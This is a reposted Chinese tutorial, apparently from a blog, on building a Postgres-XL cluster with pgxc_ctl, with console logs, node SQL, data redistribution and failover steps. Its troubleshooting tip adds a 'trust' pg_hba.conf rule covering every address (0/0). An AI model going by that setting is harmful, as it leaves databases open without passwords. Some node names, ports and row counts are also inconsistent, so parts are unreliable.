-------gtmProxyDir=$pgxlDATA/nodes/gtm_proxygtmProxy=y gtmProxyNames=(gtm_pxy1 gtm_pxy2) gtmProxyServers=(xl1 xl2) gtmProxyPorts=(6666 6666) gtmProxyDirs=($gtmProxyDir $gtmProxyDir) ---- Coordinators ---------coordMasterDir=$pgxlDATA/nodes/coordcoordNames=(coord1 coord2) coordPorts=(5432 5432) poolerPorts=(6667 6667) coordPgHbaEntries=(0.0.0.0/0)coordMasterServers=(xl1 xl2) coordMasterDirs=($coordMasterDir $coordMasterDir)coordMaxWALsernder=0 没设置备份节点,设置为0coordMaxWALSenders=($coordMaxWALsernder $coordMaxWALsernder) 数量保持和coordMasterServers一致coordSlave=n---- Datanodes ----------datanodeMasterDir=$pgxlDATA/nodes/dn_masterprimaryDatanode=xl1 主数据节点datanodeNames=(node1 node2)datanodePorts=(5433 5433) datanodePoolerPorts=(6668 6668) datanodePgHbaEntries=(0.0.0.0/0)datanodeMasterServers=(xl1 xl2)datanodeMasterDirs=($datanodeMasterDir $datanodeMasterDir)datanodeMaxWalSender=4datanodeMaxWALSenders=($datanodeMaxWalSender $datanodeMaxWalSender) 集群初始化,启动,停止 初始化 pgxc_ctl -c /home/postgres/pgxc_ctl/pgxc_ctl.conf init all 输出结果: /bin/bashInstalling pgxc_ctl_bash script as /home/postgres/pgxc_ctl/pgxc_ctl_bash.Installing pgxc_ctl_bash script as /home/postgres/pgxc_ctl/pgxc_ctl_bash.Reading configuration using /home/postgres/pgxc_ctl/pgxc_ctl_bash --home /home/postgres/pgxc_ctl --configuration /home/postgres/pgxc_ctl/pgxc_ctl.conf/home/postgres/pgxc_ctl/pgxc_ctl.conf: line 189: $coordExtraConfig: ambiguous redirectFinished reading configuration. PGXC_CTL START Current directory: /home/postgres/pgxc_ctlStopping all the coordinator masters.Stopping coordinator master coord1.Stopping coordinator master coord2.pg_ctl: directory "/home/postgres/pgxc/nodes/coord/coord1" does not existpg_ctl: directory "/home/postgres/pgxc/nodes/coord/coord2" does not existDone.Stopping all the datanode masters.Stopping datanode master datanode1.Stopping datanode master datanode2.pg_ctl: PID file "/home/postgres/pgxc/nodes/datanode/datanode1/postmaster.pid" does not existIs server running?Done.Stop GTM masterwaiting for server to shut down.... doneserver stopped[postgres@gtm ~]$ echo $PGHOME/home/postgres/pgxl[postgres@gtm ~]$ ll /home/postgres/pgxl/pgxc/nodes/gtm/gtm.^C[postgres@gtm ~]$ pgxc_ctl -c /home/postgres/pgxc_ctl/pgxc_ctl.conf init all/bin/bashInstalling pgxc_ctl_bash script as /home/postgres/pgxc_ctl/pgxc_ctl_bash.Installing pgxc_ctl_bash script as /home/postgres/pgxc_ctl/pgxc_ctl_bash.Reading configuration using /home/postgres/pgxc_ctl/pgxc_ctl_bash --home /home/postgres/pgxc_ctl --configuration /home/postgres/pgxc_ctl/pgxc_ctl.conf/home/postgres/pgxc_ctl/pgxc_ctl.conf: line 189: $coordExtraConfig: ambiguous redirectFinished reading configuration. PGXC_CTL START Current directory: /home/postgres/pgxc_ctlInitialize GTM masterERROR: target directory (/home/postgres/pgxc/nodes/gtm) exists and not empty. Skip GTM initilializationDone.Start GTM masterserver startingInitialize all the coordinator masters.Initialize coordinator master coord1.ERROR: target coordinator master coord1 is running now. Skip initilialization.Initialize coordinator master coord2.The files belonging to this database system will be owned by user "postgres".This user must also own the server process.The database cluster will be initialized with locale "en_US.UTF-8".The default database encoding has accordingly been set to "UTF8".The default text search configuration will be set to "english".Data page checksums are disabled.fixing permissions on existing directory /home/postgres/pgxc/nodes/coord/coord2 ... okcreating subdirectories ... okselecting default max_connections ... 100selecting default shared_buffers ... 128MBselecting dynamic shared memory implementation ... posixcreating configuration files ... okrunning bootstrap script ... okperforming post-bootstrap initialization ... creating cluster information ... oksyncing data to disk ... okfreezing database template0 ... okfreezing database template1 ... okfreezing database postgres ... okWARNING: enabling "trust" authentication for local connectionsYou can change this by editing pg_hba.conf or using the option -A, or--auth-local and --auth-host, the next time you run initdb.Success.Done.Starting coordinator master.Starting coordinator master coord1ERROR: target coordinator master coord1 is already running now. Skip initialization.Starting coordinator master coord22019-05-30 21:09:25.562 EDT [2148] LOG: listening on IPv4 address "0.0.0.0", port 54322019-05-30 21:09:25.562 EDT [2148] LOG: listening on IPv6 address "::", port 54322019-05-30 21:09:25.563 EDT [2148] LOG: listening on Unix socket "/tmp/.s.PGSQL.5432"2019-05-30 21:09:25.601 EDT [2149] LOG: database system was shut down at 2019-05-30 21:09:22 EDT2019-05-30 21:09:25.605 EDT [2148] LOG: database system is ready to accept connections2019-05-30 21:09:25.612 EDT [2156] LOG: cluster monitor startedDone.Initialize all the datanode masters.Initialize the datanode master datanode1.Initialize the datanode master datanode2.The files belonging to this database system will be owned by user "postgres".This user must also own the server process.The database cluster will be initialized with locale "en_US.UTF-8".The default database encoding has accordingly been set to "UTF8".The default text search configuration will be set to "english".Data page checksums are disabled.fixing permissions on existing directory /home/postgres/pgxc/nodes/datanode/datanode1 ... okcreating subdirectories ... okselecting default max_connections ... 100selecting default shared_buffers ... 128MBselecting dynamic shared memory implementation ... posixcreating configuration files ... okrunning bootstrap script ... okperforming post-bootstrap initialization ... creating cluster information ... oksyncing data to disk ... okfreezing database template0 ... okfreezing database template1 ... okfreezing database postgres ... okWARNING: enabling "trust" authentication for local connectionsYou can change this by editing pg_hba.conf or using the option -A, or--auth-local and --auth-host, the next time you run initdb.Success.The files belonging to this database system will be owned by user "postgres".This user must also own the server process.The database cluster will be initialized with locale "en_US.UTF-8".The default database encoding has accordingly been set to "UTF8".The default text search configuration will be set to "english".Data page checksums are disabled.fixing permissions on existing directory /home/postgres/pgxc/nodes/datanode/datanode2 ... okcreating subdirectories ... okselecting default max_connections ... 100selecting default shared_buffers ... 128MBselecting dynamic shared memory implementation ... posixcreating configuration files ... okrunning bootstrap script ... okperforming post-bootstrap initialization ... creating cluster information ... oksyncing data to disk ... okfreezing database template0 ... okfreezing database template1 ... okfreezing database postgres ... okWARNING: enabling "trust" authentication for local connectionsYou can change this by editing pg_hba.conf or using the option -A, or--auth-local and --auth-host, the next time you run initdb.Success.Done.Starting all the datanode masters.Starting datanode master datanode1.WARNING: datanode master datanode1 is running now. Skipping.Starting datanode master datanode2.2019-05-30 21:09:33.352 EDT [2404] LOG: listening on IPv4 address "0.0.0.0", port 154322019-05-30 21:09:33.352 EDT [2404] LOG: listening on IPv6 address "::", port 154322019-05-30 21:09:33.355 EDT [2404] LOG: listening on Unix socket "/tmp/.s.PGSQL.15432"2019-05-30 21:09:33.392 EDT [2404] LOG: redirecting log output to logging collector process2019-05-30 21:09:33.392 EDT [2404] HINT: Future log output will appear in directory "pg_log".Done.psql: FATAL: no pg_hba.conf entry for host "192.168.20.132", user "postgres", database "postgres"psql: FATAL: no pg_hba.conf entry for host "192.168.20.132", user "postgres", database "postgres"Done.psql: FATAL: no pg_hba.conf entry for host "192.168.20.132", user "postgres", database "postgres"psql: FATAL: no pg_hba.conf entry for host "192.168.20.132", user "postgres", database "postgres"Done.[postgres@gtm ~]$ pgxc_ctl -c /home/postgres/pgxc_ctl/pgxc_ctl.conf stop all/bin/bashInstalling pgxc_ctl_bash script as /home/postgres/pgxc_ctl/pgxc_ctl_bash.Installing pgxc_ctl_bash script as /home/postgres/pgxc_ctl/pgxc_ctl_bash.Reading configuration using /home/postgres/pgxc_ctl/pgxc_ctl_bash --home /home/postgres/pgxc_ctl --configuration /home/postgres/pgxc_ctl/pgxc_ctl.conf/home/postgres/pgxc_ctl/pgxc_ctl.conf: line 189: $coordExtraConfig: ambiguous redirectFinished reading configuration. PGXC_CTL START Current directory: /home/postgres/pgxc_ctlStopping all the coordinator masters.Stopping coordinator master coord1.Stopping coordinator master coord2.pg_ctl: directory "/home/postgres/pgxc/nodes/coord/coord1" does not existDone.Stopping all the datanode masters.Stopping datanode master datanode1.Stopping datanode master datanode2.pg_ctl: PID file "/home/postgres/pgxc/nodes/datanode/datanode1/postmaster.pid" does not existIs server running?Done.Stop GTM masterwaiting for server to shut down.... doneserver stopped[postgres@gtm ~]$ pgxc_ctl/bin/bashInstalling pgxc_ctl_bash script as /home/postgres/pgxc_ctl/pgxc_ctl_bash.Installing pgxc_ctl_bash script as /home/postgres/pgxc_ctl/pgxc_ctl_bash.Reading configuration using /home/postgres/pgxc_ctl/pgxc_ctl_bash --home /home/postgres/pgxc_ctl --configuration /home/postgres/pgxc_ctl/pgxc_ctl.conf/home/postgres/pgxc_ctl/pgxc_ctl.conf: line 189: $coordExtraConfig: ambiguous redirectFinished reading configuration. PGXC_CTL START Current directory: /home/postgres/pgxc_ctlPGXC monitor allNot running: gtm masterRunning: coordinator master coord1Not running: coordinator master coord2Running: datanode master datanode1Not running: datanode master datanode2PGXC stop coordinator master coord1Stopping coordinator master coord1.pg_ctl: directory "/home/postgres/pgxc/nodes/coord/coord1" does not existDone.PGXC stop datanode master datanode1Stopping datanode master datanode1.pg_ctl: PID file "/home/postgres/pgxc/nodes/datanode/datanode1/postmaster.pid" does not existIs server running?Done.PGXC monitor allNot running: gtm masterRunning: coordinator master coord1Not running: coordinator master coord2Running: datanode master datanode1Not running: datanode master datanode2PGXC monitor allNot running: gtm masterNot running: coordinator master coord1Not running: coordinator master coord2Not running: datanode master datanode1Not running: datanode master datanode2PGXC exit[postgres@gtm ~]$ pgxc_ctl -c /home/postgres/pgxc_ctl/pgxc_ctl.conf init all/bin/bashInstalling pgxc_ctl_bash script as /home/postgres/pgxc_ctl/pgxc_ctl_bash.Installing pgxc_ctl_bash script as /home/postgres/pgxc_ctl/pgxc_ctl_bash.Reading configuration using /home/postgres/pgxc_ctl/pgxc_ctl_bash --home /home/postgres/pgxc_ctl --configuration /home/postgres/pgxc_ctl/pgxc_ctl.conf/home/postgres/pgxc_ctl/pgxc_ctl.conf: line 189: $coordExtraConfig: ambiguous redirectFinished reading configuration. PGXC_CTL START Current directory: /home/postgres/pgxc_ctlInitialize GTM masterERROR: target directory (/home/postgres/pgxc/nodes/gtm) exists and not empty. Skip GTM initilializationDone.Start GTM masterserver startingInitialize all the coordinator masters.Initialize coordinator master coord1.Initialize coordinator master coord2.The files belonging to this database system will be owned by user "postgres".This user must also own the server process.The database cluster will be initialized with locale "en_US.UTF-8".The default database encoding has accordingly been set to "UTF8".The default text search configuration will be set to "english".Data page checksums are disabled.fixing permissions on existing directory /home/postgres/pgxc/nodes/coord/coord1 ... okcreating subdirectories ... okselecting default max_connections ... 100selecting default shared_buffers ... 128MBselecting dynamic shared memory implementation ... posixcreating configuration files ... okrunning bootstrap script ... okperforming post-bootstrap initialization ... creating cluster information ... oksyncing data to disk ... okfreezing database template0 ... okfreezing database template1 ... okfreezing database postgres ... okWARNING: enabling "trust" authentication for local connectionsYou can change this by editing pg_hba.conf or using the option -A, or--auth-local and --auth-host, the next time you run initdb.Success.The files belonging to this database system will be owned by user "postgres".This user must also own the server process.The database cluster will be initialized with locale "en_US.UTF-8".The default database encoding has accordingly been set to "UTF8".The default text search configuration will be set to "english".Data page checksums are disabled.fixing permissions on existing directory /home/postgres/pgxc/nodes/coord/coord2 ... okcreating subdirectories ... okselecting default max_connections ... 100selecting default shared_buffers ... 128MBselecting dynamic shared memory implementation ... posixcreating configuration files ... okrunning bootstrap script ... okperforming post-bootstrap initialization ... creating cluster information ... oksyncing data to disk ... okfreezing database template0 ... okfreezing database template1 ... okfreezing database postgres ... okWARNING: enabling "trust" authentication for local connectionsYou can change this by editing pg_hba.conf or using the option -A, or--auth-local and --auth-host, the next time you run initdb.Success.Done.Starting coordinator master.Starting coordinator master coord1Starting coordinator master coord22019-05-30 21:13:03.998 EDT [25137] LOG: listening on IPv4 address "0.0.0.0", port 54322019-05-30 21:13:03.998 EDT [25137] LOG: listening on IPv6 address "::", port 54322019-05-30 21:13:04.000 EDT [25137] LOG: listening on Unix socket "/tmp/.s.PGSQL.5432"2019-05-30 21:13:04.038 EDT [25138] LOG: database system was shut down at 2019-05-30 21:13:00 EDT2019-05-30 21:13:04.042 EDT [25137] LOG: database system is ready to accept connections2019-05-30 21:13:04.049 EDT [25145] LOG: cluster monitor started2019-05-30 21:13:04.020 EDT [2730] LOG: listening on IPv4 address "0.0.0.0", port 54322019-05-30 21:13:04.020 EDT [2730] LOG: listening on IPv6 address "::", port 54322019-05-30 21:13:04.021 EDT [2730] LOG: listening on Unix socket "/tmp/.s.PGSQL.5432"2019-05-30 21:13:04.057 EDT [2731] LOG: database system was shut down at 2019-05-30 21:13:00 EDT2019-05-30 21:13:04.061 EDT [2730] LOG: database system is ready to accept connections2019-05-30 21:13:04.062 EDT [2738] LOG: cluster monitor startedDone.Initialize all the datanode masters.Initialize the datanode master datanode1.Initialize the datanode master datanode2.The files belonging to this database system will be owned by user "postgres".This user must also own the server process.The database cluster will be initialized with locale "en_US.UTF-8".The default database encoding has accordingly been set to "UTF8".The default text search configuration will be set to "english".Data page checksums are disabled.fixing permissions on existing directory /home/postgres/pgxc/nodes/datanode/datanode1 ... okcreating subdirectories ... okselecting default max_connections ... 100selecting default shared_buffers ... 128MBselecting dynamic shared memory implementation ... posixcreating configuration files ... okrunning bootstrap script ... okperforming post-bootstrap initialization ... creating cluster information ... oksyncing data to disk ... okfreezing database template0 ... okfreezing database template1 ... okfreezing database postgres ... okWARNING: enabling "trust" authentication for local connectionsYou can change this by editing pg_hba.conf or using the option -A, or--auth-local and --auth-host, the next time you run initdb.Success.The files belonging to this database system will be owned by user "postgres".This user must also own the server process.The database cluster will be initialized with locale "en_US.UTF-8".The default database encoding has accordingly been set to "UTF8".The default text search configuration will be set to "english".Data page checksums are disabled.fixing permissions on existing directory /home/postgres/pgxc/nodes/datanode/datanode2 ... okcreating subdirectories ... okselecting default max_connections ... 100selecting default shared_buffers ... 128MBselecting dynamic shared memory implementation ... posixcreating configuration files ... okrunning bootstrap script ... okperforming post-bootstrap initialization ... creating cluster information ... oksyncing data to disk ... okfreezing database template0 ... okfreezing database template1 ... okfreezing database postgres ... okWARNING: enabling "trust" authentication for local connectionsYou can change this by editing pg_hba.conf or using the option -A, or--auth-local and --auth-host, the next time you run initdb.Success.Done.Starting all the datanode masters.Starting datanode master datanode1.Starting datanode master datanode2.2019-05-30 21:13:12.077 EDT [25392] LOG: listening on IPv4 address "0.0.0.0", port 154322019-05-30 21:13:12.077 EDT [25392] LOG: listening on IPv6 address "::", port 154322019-05-30 21:13:12.079 EDT [25392] LOG: listening on Unix socket "/tmp/.s.PGSQL.15432"2019-05-30 21:13:12.114 EDT [25392] LOG: redirecting log output to logging collector process2019-05-30 21:13:12.114 EDT [25392] HINT: Future log output will appear in directory "pg_log".2019-05-30 21:13:12.079 EDT [2985] LOG: listening on IPv4 address "0.0.0.0", port 154322019-05-30 21:13:12.079 EDT [2985] LOG: listening on IPv6 address "::", port 154322019-05-30 21:13:12.081 EDT [2985] LOG: listening on Unix socket "/tmp/.s.PGSQL.15432"2019-05-30 21:13:12.117 EDT [2985] LOG: redirecting log output to logging collector process2019-05-30 21:13:12.117 EDT [2985] HINT: Future log output will appear in directory "pg_log".Done.psql: FATAL: no pg_hba.conf entry for host "192.168.20.132", user "postgres", database "postgres"psql: FATAL: no pg_hba.conf entry for host "192.168.20.132", user "postgres", database "postgres"Done.psql: FATAL: no pg_hba.conf entry for host "192.168.20.132", user "postgres", database "postgres"psql: FATAL: no pg_hba.conf entry for host "192.168.20.132", user "postgres", database "postgres"Done. 启动 pgxc_ctl -c /home/postgres/pgxc_ctl/pgxc_ctl.conf start all 关闭 pgxc_ctl -c /home/postgres/pgxc_ctl/pgxc_ctl.conf stop all 查看集群状态 [postgres@gtm ~]$ pgxc_ctl monitor all/bin/bashInstalling pgxc_ctl_bash script as /home/postgres/pgxc_ctl/pgxc_ctl_bash.Installing pgxc_ctl_bash script as /home/postgres/pgxc_ctl/pgxc_ctl_bash.Reading configuration using /home/postgres/pgxc_ctl/pgxc_ctl_bash --home /home/postgres/pgxc_ctl --configuration /home/postgres/pgxc_ctl/pgxc_ctl.conf/home/postgres/pgxc_ctl/pgxc_ctl.conf: line 189: $coordExtraConfig: ambiguous redirectFinished reading configuration. PGXC_CTL START Current directory: /home/postgres/pgxc_ctlRunning: gtm masterRunning: coordinator master coord1Running: coordinator master coord2Running: datanode master datanode1Running: datanode master datanode2 配置集群信息 分别在数据节点、协调器节点上分别执行以下命令: 注:本节点只执行修改操作即可(alert node),其他节点执行创建命令(create node)。因为本节点已经包含本节点的信息。 create node coord1 with (type=coordinator,host=xl1, port=5432);create node coord2 with (type=coordinator,host=xl2, port=5432);alter node coord1 with (type=coordinator,host=xl1, port=5432);alter node coord2 with (type=coordinator,host=xl2, port=5432);create node datanode1 with (type=datanode, host=xl1,port=15432,primary=true,PREFERRED);create node datanode2 with (type=datanode, host=xl2,port=15432);alter node datanode1 with (type=datanode, host=xl1,port=15432,primary=true,PREFERRED);alter node datanode2 with (type=datanode, host=xl2,port=15432);select pgxc_pool_reload(); 分别登陆数据节点、协调器节点验证 postgres= select from pgxc_node;node_name | node_type | node_port | node_host | nodeis_primary | nodeis_preferred | node_id-----------+-----------+-----------+-----------+----------------+------------------+-------------coord1 | C | 5432 | xl1 | f | f | 1885696643coord2 | C | 5432 | xl2 | f | f | -1197102633datanode2 | D | 15432 | xl2 | f | f | -905831925datanode1 | D | 15432 | xl1 | t | f | 888802358(4 rows) 测试 插入数据 在数据节点1,执行相关操作。 通过协调器端口登录PG [postgres@xl1 ~]$ psql -p 5432psql (PGXL 10r1.1, based on PG 10.6 (Postgres-XL 10r1.1))Type "help" for help.postgres= create database lei;CREATE DATABASEpostgres= \c lei;You are now connected to database "lei" as user "postgres".lei= create table test1(id int,name text);CREATE TABLElei= insert into test1(id,name) select generate_series(1,8),'测试';INSERT 0 8lei= select from test1;id | name----+------1 | 测试2 | 测试5 | 测试6 | 测试8 | 测试3 | 测试4 | 测试7 | 测试(8 rows) 注:默认创建的表为分布式表,也就是每个数据节点值存储表的部分数据。关于表类型具体说明,下面有说明。 通过15432端口登录数据节点,查看数据 有5条数据 [postgres@xl1 ~]$ psql -p 15432psql (PGXL 10r1.1, based on PG 10.6 (Postgres-XL 10r1.1))Type "help" for help.postgres= \c lei;You are now connected to database "lei" as user "postgres".lei= select from test1;id | name----+------1 | 测试2 | 测试5 | 测试6 | 测试8 | 测试(5 rows) 登录到节点2,查看数据 有3条数据 [postgres@xl2 ~]$ psql -p15432psql (PGXL 10r1.1, based on PG 10.6 (Postgres-XL 10r1.1))Type "help" for help.postgres= \c lei;You are now connected to database "lei" as user "postgres".lei= select from test1;id | name----+------3 | 测试4 | 测试7 | 测试(3 rows) 两个节点的数据加起来整个8条,没有问题。 至此Postgre-XL集群搭建完成。 创建数据库、表时可能会出现以下错误: ERROR: Failed to get pooled connections 是因为pg_hba.conf配置不对,所有节点加上host all all 192.168.20.0/0 trust并重启集群即可。 ERROR: No Datanode defined in cluster 首先确认是否创建了数据节点,也就是create node相关的命令。如果创建了则执行select pgxc_pool_reload();使其生效即可。 集群管理与应用 表类型说明 REPLICATION表:各个datanode节点中,表的数据完全相同,也就是说,插入数据时,会分别在每个datanode节点插入相同数据。读数据时,只需要读任意一个datanode节点上的数据。 建表语法: CREATE TABLE repltab (col1 int, col2 int) DISTRIBUTE BY REPLICATION; DISTRIBUTE :会将插入的数据,按照拆分规则,分配到不同的datanode节点中存储,也就是sharding技术。每个datanode节点只保存了部分数据,通过coordinate节点可以查询完整的数据视图。 CREATE TABLE disttab(col1 int, col2 int, col3 text) DISTRIBUTE BY HASH(col1); 模拟数据插入 任意登录一个coordinate节点进行建表操作 [postgres@gtm ~]$ psql -h xl1 -p 5432 -U postgrespostgres= INSERT INTO disttab SELECT generate_series(1,100), generate_series(101, 200), 'foo';INSERT 0 100postgres= INSERT INTO repltab SELECT generate_series(1,100), generate_series(101, 200);INSERT 0 100 查看数据分布结果: DISTRIBUTE表分布结果 postgres= SELECT xc_node_id, count() FROM disttab GROUP BY xc_node_id;xc_node_id | count ------------+-------1148549230 | 42-927910690 | 58(2 rows) REPLICATION表分布结果 postgres= SELECT count() FROM repltab;count -------100(1 row) 查看另一个datanode2中repltab表结果 [postgres@datanode2 pgxl9.5]$ psql -p 15432psql (PGXL 10r1.1, based on PG 10.6 (Postgres-XL 10r1.1))Type "help" for help.postgres= SELECT count() FROM repltab;count -------100(1 row) 结论:REPLICATION表中,datanode1,datanode2中表是全部数据,一模一样。而DISTRIBUTE表,数据散落近乎平均分配到了datanode1,datanode2节点中。 新增数据节点与数据重分布 在线新增节点、并重新分布数据。 新增datanode节点 在gtm集群管理节点上执行pgxc_ctl命令 [postgres@gtm ~]$ pgxc_ctl/bin/bashInstalling pgxc_ctl_bash script as /home/postgres/pgxc_ctl/pgxc_ctl_bash.Installing pgxc_ctl_bash script as /home/postgres/pgxc_ctl/pgxc_ctl_bash.Reading configuration using /home/postgres/pgxc_ctl/pgxc_ctl_bash --home /home/postgres/pgxc_ctl --configuration /home/postgres/pgxc_ctl/pgxc_ctl.confFinished reading configuration. PGXC_CTL START Current directory: /home/postgres/pgxc_ctlPGXC 在服务器xl3上,新增一个master角色的datanode节点,名称是datanode3 端口号暂定5430,pool master暂定6669 ,指定好数据目录位置,从两个节点升级到3个节点,之后要写3个none none应该是datanodeSpecificExtraConfig或者datanodeSpecificExtraPgHba配置PGXC add datanode master datanode3 xl3 15432 6671 /home/postgres/pgxc/nodes/datanode/datanode3 none none none 等待新增完成后,查询集群节点状态: postgres= select from pgxc_node;node_name | node_type | node_port | node_host | nodeis_primary | nodeis_preferred | node_id-----------+-----------+-----------+-----------+----------------+------------------+-------------datanode1 | D | 15432 | xl1 | t | f | 888802358datanode2 | D | 15432 | xl2 | f | f | -905831925datanode3 | D | 15432 | xl3 | f | f | -705831925coord1 | C | 5432 | xl1 | f | f | 1885696643coord2 | C | 5432 | xl2 | f | f | -1197102633(4 rows) 节点新增完毕 数据重新分布 由于新增节点后无法自动完成数据重新分布,需要手动操作。 DISTRIBUTE表分布在了node1,node2节点上,如下: postgres= SELECT xc_node_id, count() FROM disttab GROUP BY xc_node_id;xc_node_id | count ------------+-------1148549230 | 42-927910690 | 58(2 rows) 新增一个节点后,将sharding表数据重新分配到三个节点上,将repl表复制到新节点 重分布sharding表postgres= ALTER TABLE disttab ADD NODE (datanode3);ALTER TABLE 复制数据到新节点postgres= ALTER TABLE repltab ADD NODE (datanode3);ALTER TABLE 查看新的数据分布: postgres= SELECT xc_node_id, count() FROM disttab GROUP BY xc_node_id;xc_node_id | count ------------+--------700122826 | 36-927910690 | 321148549230 | 32(3 rows) 登录datanode3(新增的时候,放在了xl3服务器上,端口15432)节点查看数据: [postgres@gtm ~]$ psql -h xl3 -p 15432 -U postgrespsql (PGXL 10r1.1, based on PG 10.6 (Postgres-XL 10r1.1))Type "help" for help.postgres= select count() from repltab;count -------100(1 row) 很明显,通过 ALTER TABLE tt ADD NODE (dn)命令,可以将DISTRIBUTE表数据重新分布到新节点,重分布过程中会中断所有事务。可以将REPLICATION表数据复制到新节点。 从datanode节点中回收数据 postgres= ALTER TABLE disttab DELETE NODE (datanode3);ALTER TABLEpostgres= ALTER TABLE repltab DELETE NODE (datanode3);ALTER TABLE 删除数据节点 Postgresql-XL并没有检查将被删除的datanode节点是否有replicated/distributed表的数据,为了数据安全,在删除之前需要检查下被删除节点上的数据,有数据的话,要回收掉分配到其他节点,然后才能安全删除。删除数据节点分为四步骤: 1.查询要删除节点dn3的oid postgres= SELECT oid, FROM pgxc_node;oid | node_name | node_type | node_port | node_host | nodeis_primary | nodeis_preferred | node_id -------+-----------+-----------+-----------+-----------+----------------+------------------+-------------11819 | coord1 | C | 5432 | datanode1 | f | f | 188569664316384 | coord2 | C | 5432 | datanode2 | f | f | -119710263316385 | node1 | D | 5433 | datanode1 | f | t | 114854923016386 | node2 | D | 5433 | datanode2 | f | f | -92791069016397 | dn3 | D | 5430 | datanode1 | f | f | -700122826(5 rows) 2.查询dn3对应的oid中是否有数据 testdb= SELECT FROM pgxc_class WHERE nodeoids::integer[] @> ARRAY[16397];pcrelid | pclocatortype | pcattnum | pchashalgorithm | pchashbuckets | nodeoids ---------+---------------+----------+-----------------+---------------+-------------------16388 | H | 1 | 1 | 4096 | 16397 16385 1638616394 | R | 0 | 0 | 0 | 16397 16385 16386(2 rows) 3.有数据的先回收数据 postgres= ALTER TABLE disttab DELETE NODE (dn3);ALTER TABLEpostgres= ALTER TABLE repltab DELETE NODE (dn3);ALTER TABLEpostgres= SELECT FROM pgxc_class WHERE nodeoids::integer[] @> ARRAY[16397];pcrelid | pclocatortype | pcattnum | pchashalgorithm | pchashbuckets | nodeoids ---------+---------------+----------+-----------------+---------------+----------(0 rows) 4.安全删除dn3 PGXC$ remove datanode master dn3 clean 故障节点FAILOVER 1.查看当前集群状态 [postgres@gtm ~]$ psql -h xl1 -p 5432psql (PGXL 10r1.1, based on PG 10.6 (Postgres-XL 10r1.1))Type "help" for help.postgres= SELECT oid, FROM pgxc_node;oid | node_name | node_type | node_port | node_host | nodeis_primary | nodeis_preferred | node_id-------+-----------+-----------+-----------+-----------+----------------+------------------+-------------11739 | coord1 | C | 5432 | xl1 | f | f | 188569664316384 | coord2 | C | 5432 | xl2 | f | f | -119710263316387 | datanode2 | D | 15432 | xl2 | f | f | -90583192516388 | datanode1 | D | 15432 | xl1 | t | t | 888802358(4 rows) 2.模拟datanode1节点故障 直接关闭即可 PGXC stop -m immediate datanode master datanode1Stopping datanode master datanode1.Done. 3.测试查询 只要查询涉及到datanode1上的数据,那么该查询就会报错 postgres= SELECT xc_node_id, count() FROM disttab GROUP BY xc_node_id;WARNING: failed to receive file descriptors for connectionsERROR: Failed to get pooled connectionsHINT: This may happen because one or more nodes are currently unreachable, either because of node or network failure.Its also possible that the target node may have hit the connection limit or the pooler is configured with low connections.Please check if all nodes are running fine and also review max_connections and max_pool_size configuration parameterspostgres= SELECT xc_node_id, FROM disttab WHERE col1 = 3;xc_node_id | col1 | col2 | col3------------+------+------+-------905831925 | 3 | 103 | foo(1 row) 测试发现,查询范围如果涉及到故障的node1节点,会报错,而查询的数据范围不在node1上的话,仍然可以查询。 4.手动切换 要想切换,必须要提前配置slave节点。 PGXC$ failover datanode node1 切换完成后,查询集群 postgres= SELECT oid, FROM pgxc_node;oid | node_name | node_type | node_port | node_host | nodeis_primary | nodeis_preferred | node_id -------+-----------+-----------+-----------+-----------+----------------+------------------+-------------11819 | coord1 | C | 5432 | datanode1 | f | f | 188569664316384 | coord2 | C | 5432 | datanode2 | f | f | -119710263316386 | node2 | D | 15432 | datanode2 | f | f | -92791069016385 | node1 | D | 15433 | datanode2 | f | t | 1148549230(4 rows) 发现datanode1节点的ip和端口都已经替换为配置的slave了。 本篇文章为转载内容。原文链接:https://blog.csdn.net/qianglei6077/article/details/94379331。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2023-01-30 11:09:03
94
转载
转载文章
...用的软件组件,并能在网络中安全地下载和执行。在本文语境中,ActiveX插件曾被用于实现在浏览器上直接驱动打印机进行报表打印,但由于其潜在的安全风险,许多现代浏览器已不再支持或默认禁用ActiveX。 Json格式 , Json(JavaScript Object Notation)是一种轻量级的数据交换格式,易于人阅读和编写,同时也易于机器解析和生成。Json使用完全独立于语言的文本格式来存储和表示数据,通常以键值对的形式展现。在文中提到的报表系统中,用户需要将打印数据以Json格式发送给打印服务器,Json数据结构清晰明了,可以精确描述表单中的各项内容,便于系统解析并填充到相应的模板位置,实现自动化的报表打印。例如,模板中的字段名称、类型、长度以及数据行的具体内容等信息都通过Json数据来定义和传递。
2023-04-01 18:34:12
234
转载
站内搜索
用于搜索本网站内部文章,支持栏目切换。
知识学习
实践的时候请根据实际情况谨慎操作。
随机学习一条linux命令:
ln -s source_file target_symlink
- 创建软链接(符号链接)。
推荐内容
推荐本栏目内的其它文章,看看还有哪些文章让你感兴趣。
2023-04-28
2023-08-09
2023-06-18
2023-04-14
2023-02-18
2023-04-17
2024-01-11
2023-10-03
2023-09-09
2023-06-13
2023-08-07
2023-03-11
历史内容
快速导航到对应月份的历史文章列表。
随便看看
拉到页底了吧,随便看看还有哪些文章你可能感兴趣。
时光飞逝
"流光容易把人抛,红了樱桃,绿了芭蕉。"